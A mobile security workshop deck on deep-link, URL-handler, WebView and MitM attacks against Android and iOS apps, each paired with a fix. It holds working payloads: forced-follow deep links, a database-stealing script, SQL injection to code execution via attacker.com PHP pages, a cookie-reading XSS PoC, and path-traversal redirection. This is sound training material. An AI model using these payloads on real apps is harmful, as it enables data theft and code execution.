socialapp://profile/profile_pic → to access the profile picture within the profile page
Registering Deep Links in Android
File:
AndroidManifest.xml
Contents:
<activity
android:name="some.app.DeepLinkActivity" >
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="someapp"
android:host="getCreds"
android:pathPrefix="/user"/>
</intent-filter>
</activity>
LAB
CHECK
scheme://host/path → someapp://getCreds/user
Case Study: Periscope CSRF via Deep Link
Introduction
Periscope is an application for live video streaming developed and owned by Twitter Inc. It has
50M+ downloads on Google Playstore.
Prerequisite 1: Install the vulnerable version of Periscope
Download and install this Periscope APK:
LAB
CHECK
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/periscope_1.25.5.93.apk
Note: Any version of Periscope will not work with this PoC. So, make sure to download the APK
version provided here.
https://www.pscp.tv/
https://play.google.com/store/apps/details?id=tv.periscope.android&hl=en
Case Study: Periscope CSRF via Deep Link
Prerequisite 2: Create a Periscope account
If you don’t have a Periscope account, you will need to create one, for example, using
your Android Device, and then choose one of the user account creation methods:
LAB
CHECK
Fig.: Creating a Periscope account
Case Study: Periscope CSRF via Deep Link
Issue
There was a Cross Site Request Forgery vulnerability in the flow of the application:
Malicious attackers could trick users to follow arbitrary accounts without the user’s
consent via Deep Links.
Reproducing the Attack
Step 1: Procuring the Manifest
LAB
CHECK
As we already know, the best place to look for when we are testing for deep links in an
application is the Android Manifest file.
Command:
apktool d periscope_1.25.5.93.apk
Case Study: Periscope CSRF via Deep Link
Output:
I: Using Apktool 2.4.0 on periscope_1.25.5.93.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
S: WARNING: Could not write to (/Users/abhishekjm/Library/apktool/framework), using
/var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/ instead...
S: Please be aware this is a volatile directory and frameworks could go missing,
please utilize --frame-path if the default storage directory is unavailable
I: Loading resource table from file:
/var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
LAB
CHECK
Case Study: Periscope CSRF via Deep Link
Step 2: Analyzing the Manifest
NOT BROWSABLE = ONLY attackable from malicious apps on the device
BROWSABLE = ALSO attackable from websites (i.e. browsable → browser)
File:
AndroidManifest.xml
Contents:
LAB
CHECK
<intent-filter>
[...]
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="www.periscope.tv" android:pathPrefix="/"
android:scheme="https"/>
[...]
<data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
Case Study: Periscope CSRF via Deep Link
<data android:host="periscope.tv" android:pathPrefix="/" android:scheme="https"/>
<data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="broadcast" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="channel" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="discover" android:pathPrefix="/" android:scheme="pscp"/>
</intent-filter>
LAB
CHECK
Here, the Deep Link with the scheme ‘pscp’ and ‘user’ as host looks specifically
interesting.The Deep Link here is: pscp://user/
This means that there could be a parameter passed to this Deep Link which could be the
Periscope user id.
The user id is a unique identifier for any given user/profile on Periscope.
Case Study: Periscope CSRF via Deep Link
Step 3: Verifying the issue
Existent username on Periscope: pscp://user/MKBHD
Option 1: Deep Link Tester
LAB
CHECK
Open the Deep Link Tester application, enter the above Deep Link and click on the ‘GO TO URI’
Get it here:
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DeepLinkTester.apk
Case Study: Periscope CSRF via Deep Link
LAB
CHECK
Fig.: Deep Link for profile
Case Study: Periscope CSRF via Deep Link
Option 2: ADB Command
ADB Command:
adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD"
Option 3: Drozer Command
LAB
CHECK
Using Drozer you should use the browseable activity scanner, this will provide you with a
list of URL schemes and activities to explore:
NOTE: However, note that Drozer misses some URL schemes like pscpd://, therefore
this is not a replacement for a manual review
Drozer Command:
dz> run scanner.activity.browsable -a tv.periscope.android
Case Study: Periscope CSRF via Deep Link
Output:
Package: tv.periscope.android
Invocable URIs:
tv.periscope.android://
pscp://open
http://
https://www.periscope.tv/ (PATTERN_PREFIX)
https://b.pscp.live/g97c (PATTERN_PREFIX)
@2131821022://
@2131821021://
https://@2131821040/__/auth/handler (PATTERN_LITERAL)
Classes:
tv.periscope.android.ui.login.AppAuthUriReceiverActivity
tv.periscope.android.LaunchActivity
tv.periscope.android.AppRouterActivity
com.facebook.CustomTabActivity
com.firebase.ui.auth.ui.provider.GitHubLoginActivity
net.openid.appauth.RedirectUriReceiverActivity
LAB
CHECK
Case Study: Periscope CSRF via Deep Link
Drozer Command:
dz> run app.activity.start
"pscp://user/MKBHD"
--action android.intent.action.VIEW --data-uri
Option 4: Malicious website
A malicious website could also invoke the app in this way, for this purpose navigate to:
https://7as.es/android/periscope_csrf.html and click on “Open User”
Opening the Browser using ADB:
LAB
CHECK
adb shell am start -a "android.intent.action.VIEW" -d
"https://7as.es/android/periscope_csrf.html"
Case Study: Periscope CSRF via Deep Link
LAB
CHECK
Fig.: Click on Android Browser → Opens Profile
Case Study: Periscope CSRF via Deep Link
The Deep link loads a user profile which means this Deep link supports operations on a
user profile/ user id.
Exploiting the CSRF vulnerability:
Next obvious step is to check if the user can be followed with the help of this Deep link:
pscp://user/MKBHD/follow
Option 1: With Deep Link Tester
NOTE: Unfollow if needed first to verify :)
LAB
CHECK
Case Study: Periscope CSRF via Deep Link
LAB
CHECK
Fig.: Following an account via Deep Link
Case Study: Periscope CSRF via Deep Link
Option 2: With ADB Commands
NOTE: Unfollow if needed first to verify :)
ADB Command:
adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD/follow"
Option 3: With Drozer
NOTE: Unfollow if needed first to verify :)
LAB
CHECK
Drozer Command:
dz> run app.activity.start
"pscp://user/MKBHD/follow"
--action android.intent.action.VIEW --data-uri
Case Study: Periscope CSRF via Deep Link
Option 4: Malicious Website
NOTE: Unfollow if needed first to verify :)
Navigate to https://7as.es/android/periscope_csrf.html using the Android browser click on
“Periscope CSRF Demo”.
LAB
CHECK
ADB Command to open URLs in the Android Browser:
adb shell am start -a "android.intent.action.VIEW" -d
"https://7as.es/android/periscope_csrf.html"
Case Study: Periscope CSRF via Deep Link
LAB
CHECK
Fig.: Exploiting the CSRF via a malicious website
Case Study: Periscope CSRF via Deep Link
As seen, the application automatically follows the account that has been passed to the
Deep link. This is rather a useful feature. But this can be a security bug if any random
user could be tricked into processing this Deep link. That way, an attacker can embed
the Deep link on a webpage or an ad and the visitors could be tricked into following a
profile that the attacker sets.
LAB
CHECK
This can be verified by creating a simple HTML page and accessing it via an Android
device with Periscope (the given version) installed.
Code:
<!DOCTYPE html>
<html>
<h1>
<pre>
<a href="pscp://user/MKBHD/">Open User</a>
<a href="pscp://user/MKBHD/follow">Periscope CSRF Demo</a>
</html>
Case Study: Periscope CSRF via Deep Link
For ease of access, we have hosted this here:
https://7as.es/android/periscope_csrf.html
You can prepare an HTML file with the following above documented code snippet and
host it somewhere and try it out yourself.
LAB
CHECK
Open this link from your Android device and click on the ‘Periscope CSRF DEMO’ link.
This again leads to following the account embedded in the Deep link without the consent
of the user clicking on the Deep link.
This is an example of a CSRF attack where the origin of the request is not verified and
hence, the attacker can trick any user into following an account without their consent.
Case Study: Periscope CSRF via Deep Link
Mitigation:
Fixing issues derived from URL schemes / Deep Links is usually accomplished by
prompting the user for confirmation prior to performing the action.
For example:
1) Show a message like:
“are you sure you would like to follow X?”
2)
LAB
CHECK
Perform the action ONLY only if the user confirms
DEMO: Periscope
LAB
CHECK
Source: https://infosecwriteups.com/the-zaheck-of-android-deep-links-a5f57dc4ae4c
Deep Link attacks
to
make phone calls
Get DVIA-v2
For this section, we will use the following version of DVIA-v2 for iOS:
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DVIA-v2-swift.ipa
Read more about it:
http://damnvulnerableiosapp.com/
Finding & Exploiting URL handlers
Does the app implement a URL handler? If so, this could be an interesting attack
surface. How can we find this?
Option 1: Without Xcode
Look at the Info.plist file within the app source code (not dependencies):
Commands:
cd
/Users/7a/training/iOS/lab3/DVIA-v2-2dd120f3eef243737871c8f0fe8a094701991bd9/DVIA-v
2/DVIA-v2
grep URLScheme -A 4 Info.plist
Output:
<key>CFBundleURLSchemes</key>
<array>
<string>dvia</string>
<string>dviaswift</string>
</array>
Finding & Exploiting URL handlers
Option 2: With Xcode
Click on the app, go to “Info” and scroll down to “URL Types”, and then look at “URL
schemes”:
Fig.: Finding URL Schemes with Xcode
Finding & Exploiting URL handlers
Result:
This means that URLs like dviaswift:// and dvia:// will be opened by DVIA-v2.
What can we do with this? First of all we need to review the URL handler
implementation, this is generally located in a file called AppDelegate (.m for Objective C
and .swift for Swift).
Option 1: Without Xcode
If you don’t have Xcode (i.e. you are not using a Mac) you can find the AppDelegate file
like so:
Command:
find . -name AppDelegate.swift
Output:
./DVIA-v2/AppDelegate.swift
Finding & Exploiting URL handlers
If you edit this file with your favorite editor, you will notice the following interesting URL
handling code:
Affected File:
./DVIA-v2/AppDelegate.swift
Affected Code:
func application(_ app: UIApplication, open url: URL, options:
[UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool {
let splitUrl = url.absoluteString.components(separatedBy:
"/phone/call_number/")
if ((Int(splitUrl[1])) != nil){
//Valid URL, since the argument is a number
let alertController = UIAlertController(title: "Success!", message:
"Calling \(splitUrl[1]). Ring Ring !!!", preferredStyle: .alert)
Finding & Exploiting URL handlers
let okAction = UIAlertAction(title: "OK", style:
UIAlertActionStyle.default, handler: nil)
alertController.addAction(okAction)
window?.rootViewController?.present(alertController, animated: true,
completion: nil)
}
return true
}
Option 2: Using Xcode
If you are using Xcode you can confirm the affected snippet by navigating to the
AppDelegate.swift file and then reviewing the URL open implementation:
Finding & Exploiting URL handlers
Fig.: AppDelegate implementation for the URL handler
Finding & Exploiting URL handlers
Result:
This means that the app appears to expect URLs like the following, and will ring the
number without further user prompts or confirmation:
Sample URLs:
dviaswift://phone/call_number/1234567890
dvia://phone/call_number/1234567890
Let’s confirm this, from your Jailbroken phone, using Safari open the following URL:
URL:
https://7as.es/ios/url_handler_dvia-v2.html
You can also take the HTML from the above link and host it on your own server to test.
Or simply review the HTML to understand how this works:
Finding & Exploiting URL handlers
HTML:
<html>
<body>
<h1>
<pre>
<a
href="dviaswift://phone/call_number/1234567890">dviaswift://phone/call_number/12345
67890</a>
<a
href="dvia://phone/call_number/1234567890">dvia://phone/call_number/1234567890</a>
</pre>
</h1>
</body>
</html>
Finding & Exploiting URL handlers
When you click on the link, Safari will prompt you to open it on DVIAv2, click on “Open”:
Fig.: Exploiting the URL handler
Finding & Exploiting URL handlers
The ability to make an app ring arbitrary phone numbers is a serious issue in the mobile
environment due to the possibility of making the app ring premium numbers, hence
attackers can monetize the attack vector more easily.
Source: http://nwksgmd4.blogspot.com/2011/10/yet-more-on-water-for-oil-gas-drilling.html
DEMO: Custom iOS URL handlers
DeepLink Scenario: URL → Browser
#1 - Exported Activity: Browsing functionality
The app has some functionality that:
→
→
Expects other apps to send URLs to it
Opens those URLs and shows them to the user
Implicitly exported activity:
<activity android:name=".Browser" [...]>[...]
<intent-filter>
<action android:name="android.intent.action.SEARCH" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
#2 - Intent Extra Processing
protected void onNewIntent(Intent intent) {
String action = intent.getAction();
if (Intent.ACTION_SEARCH.equals(action)) {
String url = intent.getStringExtra(Search.QUERY);
Message msg = new Message();
msg.getData().putString("url", url);
mLoadHandler.sendMessage(msg);
}
Question: What is the vulnerability?
#1: Exported activity: some.app.browser.Browser
#2: Intent extra: query
#3: URL validation:
static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile("(?i)" + // case insensitive
"(" +
"(?:http|https|file):\\/\\/"
+ "|(?:data|about|content|javascript):" + ")" + "(.*)");
Deeplink → Go to SD Card → Steal DBs
#1: Exported activity: some.app.browser.Browser
#2: Intent extra: query
#3: URL validation:
static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile("(?i)" + // case insensitive
"(" +
"(?:http|https|file):\\/\\/"
+ "|(?:data|about|content|javascript):" + ")" + "(.*)");
Source: https://thecinemaholic.com/wp-content/uploads/2020/10/nintchdbpict000286651139.jpg
Attack: Go to SD Card + Steal DBs
Part 1: Intent from malicious app
Java Code:
String url = "file:///mnt/sdcard/steal.html";
Intent i = new Intent(Intent.ACTION_SEARCH);
i.addCategory(Intent.CATEGORY_DEFAULT);
final ComponentName cn = new ComponentName(
"Some.app.browser",
"some.app.browser.Browser");
i.setComponent(cn);
i.putExtra("query", url);
startActivity(i);
Attack: Go to SD Card + Steal DBs (cont.)
File:
/mnt/sdcard/steal.html
Contents:
<script>var xmlhttp=new XMLHttpRequest();
var db_loc = '/data/data/some.app.browser/databases/'
var db_files = [ 'db1.db', 'db2.db', 'db3.db' ]
for (var i in db_files) { //Retrieving all databases in JavaScript
var full_path = db_loc + db_files[i]
xmlhttp.open("GET", "file://" + full_path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert('Got DB: ' + full_path + "\r\n" + ret); //Showing the retrieved file in JavaScript
}</script>
<!-- All could be sent to an external site -->
<img src="https://7asecurity.com/logo/small-logo.svg" />
Attack: Go to SD Card + Steal DBs (cont.)
Fix: Go to SD Card + Steal DBs
→
→
Do not accept file:// URLs if possible
webSettings().setAllowFileAccess(false);
Disables filesystem only, defaults to true
→
https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess(boolean)
webSettings().setAllowFileAccessFromFileURLs(false);
Disables file access from file URLs
Defaults to false since Android 4.1 (API 16)
https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccessFromFileURLs(boolean)
Fix: Go to SD Card + Steal DBs
→
webSettings().setAllowUniversalAccessFromFileURLs(false);
Disables access to content from any origin from file URLs
Defaults to false since Android 4.1 (API 16)
https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowUniversalAccessFromFileURLs(boolean)
Browser App → Attacker Website → DeepLink?
Question: What is the vulnerability?
File:
ProxyURLProtocol.m (Onion Browser)
Contents:
else if ([[[[self request] URL] absoluteString]
rangeOfString:@"forcequit"].location != NSNotFound) {
/ onionbrowser:forcequit /
UIAlertView *alert = [[UIAlertView alloc]
initWithTitle:@"Force-quitting"
message:@"Onion Browser will now close. Restarting the app will
try a fresh Tor connection."
delegate:self
cancelButtonTitle:@"Quit app" otherButtonTitles:nil];
[alert show];
Attacker Page → close browser :)
PoC:
<img src="onionbrowser:forcequit" />
Contents:
else if ([[[[self request] URL] absoluteString]
rangeOfString:@"forcequit"].location != NSNotFound) {
/ onionbrowser:forcequit /
UIAlertView *alert = [[UIAlertView alloc]
initWithTitle:@"Force-quitting"
message:@"Onion Browser will now close. Restarting the app will
try a fresh Tor connection."
delegate:self
cancelButtonTitle:@"Quit app" otherButtonTitles:nil];
[alert show];
Fix: Any page can forcequit the browser
→
→
→
→
At a minimum, prompt the user before quitting.
If possible, eliminate forcequit functionality
Implement a separate screen flow for help area, which websites cannot invoke.
In general, consider Universal links as custom URLs can be hijacked and are
insecure.
Deeplink → SQLi → RCE!!?
Scenario: CRM app with Google auth
→
→
→
Popup if user not logged in
User is prompted to login to Google
Popup closes and sends data to app after auth
Question: What is the vulnerability?
AndroidManifest.xml:
<activity [...] android:name="LoginWebView">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="vulnapp"/>
</intent-filter>
</activity>
Saving token after Google authentication:
public synchronized void UpdateCred(String col, String val){
SQLiteDatabase db = this.getWritableDatabase(Value);
db.execSQL("UPDATE "+Credentials+" SET "+col+" = '"+val+"'");
db.close();
}
Deeplink → SQLi + RCE :)
AndroidManifest.xml:
<activity [...] android:name="LoginWebView">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="vulnapp"/>
</intent-filter>
</activity>
Saving token after Google authentication:
public synchronized void UpdateCred(String col, String val){
SQLiteDatabase db = this.getWritableDatabase(Value);
db.execSQL("UPDATE "+Credentials+" SET "+col+" = '"+val+"'");
db.close();
}
Attack: SQLi + RCE via exported activity
Attack Variant 1: Malicious app attack
Step 1: Create bad binary as PoC
cd /data/data/just.trust.me
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > test.so
chmod 777 test.so
Step 2: Pwn
adb shell am start -a "android.intent.action.VIEW" -n
"some.vuln.app/some.vuln.app.LoginWebView" -d
"vulnapp://?data=\'%20where%201%3D\(select%20load_extension\(\'%2Fdata%2Fdata%2Fjust.trust.m
e%2Ftest\'\)\)%3B%2F%2F"
Attack: SQLi + RCE via exported activity
Step 3: Verify
E/AndroidRuntime( 5361): Caused by:
net.sqlcipher.database.SQLiteException: dlopen failed:
"/data/data/just.trust.me/test.so" has bad ELF magic: UPDATE creds SET
auth_key = '' where 1=(select load_extension('/data/data/just.trust.me/test'));//'
Source: https://www.memecreator.org/static/images/memes/4936640.jpg
Attack: SQLi + RCE via browsable activity
Attack Variant 2: Malicious website attack (works on Android < 6)
File 1:
http://attacker.com/a.php
Contents:
<?php
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="test.so"');
echo str_repeat('A', 40);
Attack: SQLi + RCE via browsable activity
File 2:
http://attacker.com/d.php
Contents:
<?php
$payload = "' where 1=(select load_extension('/sdcard/Download/test'));//";
?>
<iframe src="a.php"></iframe><!-- download test.so into Downloads folder -->
<iframe id="trigger"></iframe>
<script>
setTimeout(function() {
document.getElementById('trigger').src =
"vulnapp://?data=<?=$payload?>";
}, 5000); <!-- wait 5 seconds = download finished before triggering RCE -->
</script>
Attack: SQLi + RCE via browsable activity
Verify:
E/AndroidRuntime( 5101): Caused by:
net.sqlcipher.database.SQLiteException: dlopen failed: library
"/sdcard/Download/test.so" has bad ELF magic: UPDATE creds SET
auth_key = '' where 1=(select load_extension('/sdcard/Download/test'));//'
URL validation?
Question: What is the vulnerability?
if ([URL.absoluteString rangeOfString:@"https://"].location == 0) {
Boolean ignoreSSLErrors = NO;
if ([URL.host rangeOfString:@".onion"].location != NSNotFound) {
#ifdef DEBUG
NSLog(@"loading https://*.onion/ URL,
ignoring SSL certificate status (%@)", URL.absoluteString);
#endif
ignoreSSLErrors = YES;
Ignore SSL warnings on non-onion domains
if ([URL.absoluteString rangeOfString:@"https://"].location == 0) {
Boolean ignoreSSLErrors = NO;
if ([URL.host rangeOfString:@".onion"].location != NSNotFound) {
#ifdef DEBUG
NSLog(@"loading https://*.onion/ URL,
ignoring SSL certificate status (%@)", URL.absoluteString);
#endif
ignoreSSLErrors = YES;
NOTE: [ Different than “not found” ] = found
if ([URL.host rangeOfString:@".onion"].location != NSNotFound) {
Is a silly way of saying:
if (URL.host contains ".onion") [ pseudo code ]
Source: http://www.quickmeme.com/meme/3522lp
Attack: Ignore SSL warnings non-onion domains
1.
Create subdomain: www.paypal.com.onion.7-a.org, pointing to 217.163.21.38 (Google)
2.
Visit https://www.paypal.com.onion.7-a.org on a normal browser = security warnings
3.
Visit https://www.paypal.com.onion.7-a.org on Onion Browser = no warnings
NOTE: This is a very common logic bug → return true when a substring is found
anywhere = problems. Common culprits: "includes", "contains", "strstr", etc.
https://7asecurity.com/reports/pentest-report_onion-browser.pdf
Fix: Ignore SSL warnings non-onion domains
→
→
Check the URL host name ends with .onion
Verify the .onion domain is actually running an onion server
Episode: Sexy Logic bugs
Logic bugs are:
→
Often subtle issues
→
Sometimes hard to find
→
Almost always missed by automated tools
In short:
Logic bugs are not going away any time soon :)
Scenario: JavaScript disabled by default
Question: What is the vulnerability?
Code:
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr
ipt), true));
Solution: JavaScript disabling not working
Code: ← The setting defaults to true if not explicitly set in the preferences
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascrip
t), true));
PoC
<svg/onload=alert('document.cookie='+document.cookie+'\ndocument.referrer
='+document.referrer+'\nwindow.name='+window.name+'\nnavigator.appCodeNam
e='+navigator.appCodeName+'\nnavigator.appName='+navigator.appName+'\nnav
igator.appVersion='+navigator.appVersion+'\nnavigator.platform='+navigato
r.platform+'\nnavigator.userAgent='+navigator.userAgent+'\nnavigator.java
Enabled()='+navigator.javaEnabled()+'\nscreen.width='+screen.width+'\nscr
een.height='+screen.height+'')>
Attack: JavaScript disabling not working PoC
Fix: JavaScript disabling not working
Problem:
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr
ipt), true));
Solution:
Option 1: Ensure preferences are set in the preference file
Option 2: default to the most secure setting instead, i.e. false
Episode: MitM attacks
Source: https://dpsvdv74uwwos.cloudfront.net/
Scenario: Secure Messenger app
Source: https://techcrunch.com/
Attack: Clear-text XMPP MitM
Step 1: Attacker manipulates clear-text XMPP response
NOTE: Only available authentication mechanism = clear-text (PLAIN)
Server: Give me your creds please?
<stream:features><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/><mechanismsxmlns='urn:
ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism></mechanisms></stream:features>
Step 2: The mobile app sends credentials in plain text
<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl'
mechanism='PLAIN'>YWJlQDdhc2VjdXJpdHkuY29tAGY1ZGY0ZjY1LTZiM2MtNDk3OS1iM2RjLTA5MWExNjA0MGI1OA=
=</auth>
Step 3: Attacker base64-decodes
abe@7asecurity.comf5df4f65-6b3c-4979-b3dc-091a16040b58
Fix: Clear-text XMPP MitM
→
Enforce TLS connections
→
If TLS is unavailable, refuse to connect, don't allow clear-text fallbacks
Episode: Sexy DOS Attacks
Scenario: Tracking library
Question: What does this command do?
Command:
sbd -r 0 -c off -nvlp 80 -e yes
Attack: DoS via memory consumption
Point device to attacker-controlled machine (i.e. DNS spoofing, MitM)
Command:
sbd -r 0 -c off -nvlp 80 -e yes
Errors:
malloc: *** mach_vm_map(size=2080374784) failed (error code=3)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug TEALIUM 3.2c: Exception
encountered: Attempt to allocate 2080374784 bytes for NS/CFData failed
*** Terminating app due to
uncaught exception 'NSMallocException', reason: 'Attempt to allocate 2080374784
bytes for NS/CFData failed'
Attack: DoS via memory consumption
Fix: DoS via memory consumption
→
→
Consider using another library
Implement adequate exception handling:
→ General exception handler for unexpected errors
→ Handle exceptions gracefully
Episode: Sexy copy-paste attacks
Scenario: Crypto vault Android app
Question: What attack is this?
<html>
<body>
<div style="-webkit-user-select: none;"><h1>Just select aaaall this text and
copy paste it!</h1></div>
<div style="-webkit-user-select: text; z-index:10; opacity: 0; position:
absolute; top: 20px;"><font
size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></
div>
</body>
</html>
Solution: File overwrite via path traversal
→
→
User sees unselectable text
When the user copies the text, they are copying something else
<html>
<body>
<div style="-webkit-user-select: none;"><h1>Just select aaaall this text and
copy paste it!</h1></div>
<div style="-webkit-user-select: text; z-index:10; opacity: 0; position:
absolute; top: 20px;"><font
size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></d
iv>
</body>
</html>
Attack: File overwrite via path traversal (cont)
User sees “text A” but pastes “text B”, ideal for fake tutorials! :)
Attack: File overwrite via path traversal (cont)
→
→
→
User overwrites the vault database
Entire contents no longer accessible
App crashes
https://7asecurity.com/reports/pentest-report_openkeychain.pdf
Fix: File overwrite via path traversal
→
Make sure users have an option to see the entire pasted text and not just the
beginning or the end
→
(Common problem in mobile apps: small UI + data rendering truncation = excellent
spoofing)
→
If you just expect a file from the user, get the basename (filename) of the path and
ignore the rest.
→
If you expect a path, make sure you:
1. Reject paths that contain ".."
2. resolve the path (../../path => /path)
3. verify the path starts with the expected location (i.e. /mnt/sdcard/, etc.)
4. concatenate the expected extension to the final URL (i.e. if you expect ".log",
add ".log" at the end)
Episode: Sexy Content Provider Attacks
Scenario: Browser app with custom URL handler
Attack: Adding fake news via Content Provider
Context: News app
PoC
String URL = "content://some.vulnerable.app/bestarticles/*";
Uri bestarticles = Uri.parse(URL);
ContentValues values = new ContentValues();
values.put("title", "President disappears after entering police box ...");
values.put("content", "President disappears after ...");
values.put("category_id", "-90");
values.put("article_id", "2490555");
values.put("authors", "attacker.com");
getContentResolver().insert(bestarticles, values);
Fix: Adding fake news via Content Provider
→
→
Do not export Content Providers unless needed
If must export, protect Content Provider with a permission that requires a signature
(i.e. only apps signed by the same developer can call the provider)
Attacking Updaters
Question: What's the problem with this?
Request:
http://some.site.com/messenger/x.x/update.json
Response:
HTTP/1.1 404 Not Found
Update URL → Premium number call
Request:
http://some.site.com/messenger/x.x/update.json
Response:
HTTP/1.1 200 OK
[...]
{"version":"2.0","forced":1,"url":"tel:1-408-555-5555"}
Attack: Premium number call
Fix: Premium number call
→
→
→
→
→
→
Check updates over TLS
Consider Pinning
Check the update URL is a URL and not a phone number
Verify the update URL matches some trusted domain(s)
Sign and verify the signature of update checks
Sign and verify the signature of updates
Scenario: Third party ZIP file retrieval (iOS)
Question: What is the vulnerability?
File:
Info.plist
Affected Code:
<key>NSAppTransportSecurity</key>
<dict>
<key>NSExceptionDomains</key>
<dict>
<key>some.s3.amazonaws.com</key>
<dict>
<key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
<true/>
</dict>
Defeating iOS ATS: Allow clear-text HTTP
Affected File:
Info.plist
Affected Code:
<key>NSAppTransportSecurity</key>
<dict>
<key>NSExceptionDomains</key>
<dict>
<key>some.s3.amazonaws.com</key>
<dict>
<key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
<true/>
</dict>
Attack: Arbitrary file overwrite
App retrieves:
http://some.s3.amazonaws.com/some/path/upload/12345/some.zip
Attacker replaces ZIP file
Attacker can overwrite arbitrary app files
Fix: Arbitrary file overwrite
→
→
Avoid weakening ATS: No exceptions
Use dependencies that use secure TLS communications
Scenario: User dialog for SSL warnings
#1 - SSL exceptions trigger user interaction
} catch (CertificateException ae) {
try {
if (defaultTrustManager == null)
throw new CertificateException();
[...]
} catch (CertificateException e) {
e.printStackTrace();
askUser(chain, authType, e);
}
#2 - SSL warning Dialog
#3 - askUser registers a broadcast receiver
[...]
BroadcastReceiver decisionReceiver = new BroadcastReceiver() {
public void onReceive(Context ctx, Intent i) { userAnswer(i); }
};
master.registerReceiver(decisionReceiver, new IntentFilter(DECISION_INTENT +"/" +
master.getPackageName()));
masterHandler.post(new Runnable() {
public void run() { [...]
getUI().startActivity(ni); [...]
try {
synchronized(choice) { choice.wait(); } // wait for decision to be updated
[...]
master.unregisterReceiver(decisionReceiver);
#4 - userAnswer processes intents
public static void userAnswer(Intent i) {
int decisionId = i.getIntExtra(DECISION_ID);
int choice = i.getIntExtra(DECISION_CHOICE);
MTMDecision d;
synchronized(openDecisions) {
d = openDecisions.get(decisionId);
openDecisions.remove(decisionId);
}[...]
synchronized(d) {
d.state = choice; //Modify decision, close listener
d.notify();
master.unregisterReceiver(decisionReceiver);
switch (choice.state) {
case MTMDecision.DECISION_ALWAYS://3
storeCert(chain);
Question: What is the vulnerability?
Attack: Permanent MitM prompt bypass
ADB Command:
adb shell am broadcast -a some.app.DECISION/some.app.im --ei
some.app.DECISION.decisionId 1 --ei some.app.DECISION.decisionChoice 3
Output:
Broadcasting: Intent { act=some.app.DECISION/some.app.im (has extras) }
Broadcast completed: result=0
Fix: Permanent MitM prompt bypass
→
Use a local broadcast receiver using LocalBroadcastManager instead of
BroadcastReceiver
https://developer.android.com/reference/android/support/v4/content/LocalBroadcastManager.html
→
If you must use the broadcast receiver, protect it with a permission
→
If you must use the broadcast receiver, consider making the decision ID an
unpredictable random token instead of a sequential ID.
Scenario: MitM of XMPP
Source: https://news-cdn.softpedia.com/
Attack: MitM of XMPP SSL without warnings
Step 1: DNS Spoof
dnschef -i 0.0.0.0 --fakeip=192.168.0.127
Step 2: Setup Prosody https://prosody.im/
File: /etc/prosody/prosody.cfg.lua
Contents:
VirtualHost "chat.facebook.com"
VirtualHost "gmail.com"
VirtualHost "jabber.org"
→
→
→
You need to add a VirtualHost entry for each domain you wish Prosody to serve.
Settings under each VirtualHost entry apply only to that host.
Result: it worked with the default self-signed certificate :P
Scenario: Clear-text HTTP communications (Android)
Source: https://mondrian.mashable.com/
Question: What is the vulnerability?
1.
The app gets XML from the server:
http://some.site.com/some/path/file.xml
2.
The file is saved like so:
//toDownload.filename = retrieved from XML
//toDownload.contents = retrieved from XML
File mediaFile = new File(mediaDir, toDownload.filename);
[... save contents ...]
Attack: Permanent MitM via Arbitrary File Write
XML file retrieved over clear-text HTTP:
Average MitM attackers can change that
Attacker hosts XML file to receive human right violation reports forever:
Attacker modifies clear-text XML response:
<?xml [...]><mediaFile>
<filename>../../../../../data/data/some.vulnerable.app/shared_prefs/app_preferences.xml </file
name> <hash>md5:xxxxxxxx</hash>
<downloadUrl>https://attacker.com/pwn.xml</downloadUrl></mediaFile></manifest>
Forged preferences file on https://attacker.com/pwn.xml:
[...]<string name="server_url">https://attacker.com/submit</string>[...]
Attack: Permanent MitM via Arbitrary File Write (logcat)
